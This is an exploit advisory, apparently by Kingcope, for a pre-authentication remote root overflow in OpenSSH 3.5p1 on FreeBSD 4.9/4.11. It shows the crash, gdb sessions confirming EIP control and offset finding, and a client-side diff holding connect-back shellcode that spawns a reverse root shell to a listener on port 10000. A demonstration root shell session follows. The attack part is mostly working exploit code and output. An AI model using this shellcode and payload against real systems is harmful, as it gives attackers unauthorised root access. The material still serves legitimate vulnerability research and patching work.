OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope |
Year 2011 |
-- |
The last two days I have been investigating a vulnerability in OpenSSH |
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run |
OpenSSH 3.5p1 in the default install. |
The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930". |
A working Remote Exploit which spawns a root shell remotely and |
previous to authentication was developed. |
The bug can be triggered both through ssh version 1 and ssh version 2 |
using a modified ssh client. During the investigation of the vulnerability it was found that |
the bug resides in the source code file "auth2-pam-freebsd.c". |
http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c |
This file does not exist in FreeBSD releases greater than 5.2.1. The last commit |
is from 7 years ago. |
Specifically the bug follows a code path in the PAM Authentication Thread inside this |
source code, "pam_thread()". It could not be verified if the bug is inside this |
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself. |
Both the challenge response (ssh version 1) and keyboard interactive via pam |
(ssh version 2) authentications go through this code path. |
By supplying a long username to the daemon the sshd crashes. |
h4x# sysctl kern.sugid_coredump=1 |
kern.sugid_coredump: 0 -> 1 |
root@debian:~# ssh -l |
h4x# tail -1 /var/log/messages |
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped) |
Looking into the coredump reveals: |
h4x# gdb -c /sshd.core |
GNU gdb 4.18 (FreeBSD) |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by |
Program terminated with signal 11, Segmentation fault. |
#0 0x28092305 in ?? () |
(gdb) x/1i $eip |
0x28092305: (bad) |
The sshd crahes at a place with illegal instructions. It looks like it depends |
on how the sshd is started. Starting the sshd from the console as root and running |
the ssh client with long username again reveals: |
h4x# killall -9 sshd |
h4x# /usr/sbin/sshd |
root@debian:~# ssh -l perl -e 'print "A" x 100' 192.168.32.138 |
h4x# gdb -c /sshd.core |
GNU gdb 4.18 (FreeBSD) |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by sshd'. |
Program terminated with signal 11, Segmentation fault. |
#0 0x41414141 in ?? () |
(gdb) x/10i $eip |
0x41414141: Cannot access memory at address 0x41414141. |
As you can see in the above gdb output we can control EIP completely. |
If someone finds out on what this behaviour depends, especially why EIP can |
be controlled when starting sshd in the console and can not be easily controlled |
when being run from the boot sequence, please drop me an email at |
isowarez.isowarez.isowarez (at) googlemail.com |
Anyhow this procedure shows that the sshd can be exploited because the instruction |
pointer can be fully controlled. |
The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client. |
Using a reverse shellcode it will spawn a rootshell. |
Only one offset is needed, the position of the shellcode can be found the following way: |
h4x# gdb -c /sshd.core |
GNU gdb 4.18 (FreeBSD) |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by `sshd'. |
Program terminated with signal 11, Segmentation fault. |
#0 0x41414141 in ?? () |
(gdb) set $x=0x08071000 |
(gdb) while(*++$x!=0x90909090) |
>end |
(gdb) x/10b $x |
The printed address is the beginning of the shellcode nopsled. |
Attached is the Proof of Concept as a diff to OpenSSH-5.8p2. |
It roughly does the following: |
root@debian:~# ./ssh -1 192.168.32.138 |
root@debian:~# nc -v -l -p 10000 |
listening on [any] 10000 ... |
192.168.32.138: inverse host lookup failed: Unknown host |
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038 |
uname -a;id; |
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 |
uid=0(root) gid=0(wheel) groups=0(wheel) |
-- |
root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c |
667a668,717 |
> // Connect Back Shellcode |
> |
> #define IPADDR "\xc0\xa8\x20\x80" |
> #define PORT "\x27\x10" /* htons(10000) */ |
> |
> char sc[] = |
> "\x90\x90" |
> "\x90\x90" |
> "\x31\xc9" // xor ecx, ecx |
> "\xf7\xe1" // mul ecx |
> "\x51" // push ecx |
> "\x41" // inc ecx |
> "\x51" // push ecx |
> "\x41" // inc ecx |
> "\x51" // push ecx |
> "\x51" // push ecx |
> "\xb0\x61" // mov al, 97 |
> "\xcd\x80" // int 80h |
> "\x89\xc3" // mov ebx, eax |
> "\x68"IPADDR // push dword 0101017fh |
> "\x66\x68"PORT // push word 4135 |
> "\x66\x51" // push cx |
> "\x89\xe6" // mov esi, esp |
> "\xb2\x10" // mov dl, 16 |
> "\x52" // push edx |
> "\x56" // push esi |
> "\x50" // push eax |
> "\x50" // push eax |
> "\xb0\x62" // mov al, 98 |
> "\xcd\x80" // int 80h |
> "\x41" // inc ecx |
> "\xb0\x5a" // mov al, 90 |
> "\x49" // dec ecx |
> "\x51" // push ecx |
> "\x53" // push ebx |
> "\x53" // push ebx |
> "\xcd\x80" // int 80h |
> "\x41" // inc ecx |
> "\xe2\xf5" // loop -10 |
> "\x51" // push ecx |
> "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh |
> "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh |
> "\x89\xe3" // mov ebx, esp |
> "\x51" // push ecx |
> "\x54" // push esp |
> "\x53" // push ebx |
> "\x53" // push ebx |
> "\xb0\xc4\x34\xff" |
> "\xcd\x80"; // int 80h |
> |
679a730,737 |
> char buffer[8096]; |
> |
> // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1 |
> memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24); |
> memset(buffer+24, '\x90', 5000); |
> memcpy(buffer+24+5000, sc, sizeof(sc)); |
> server_user=buffer; |
> |
690a749 |
> |
Cheers, |
Kingcope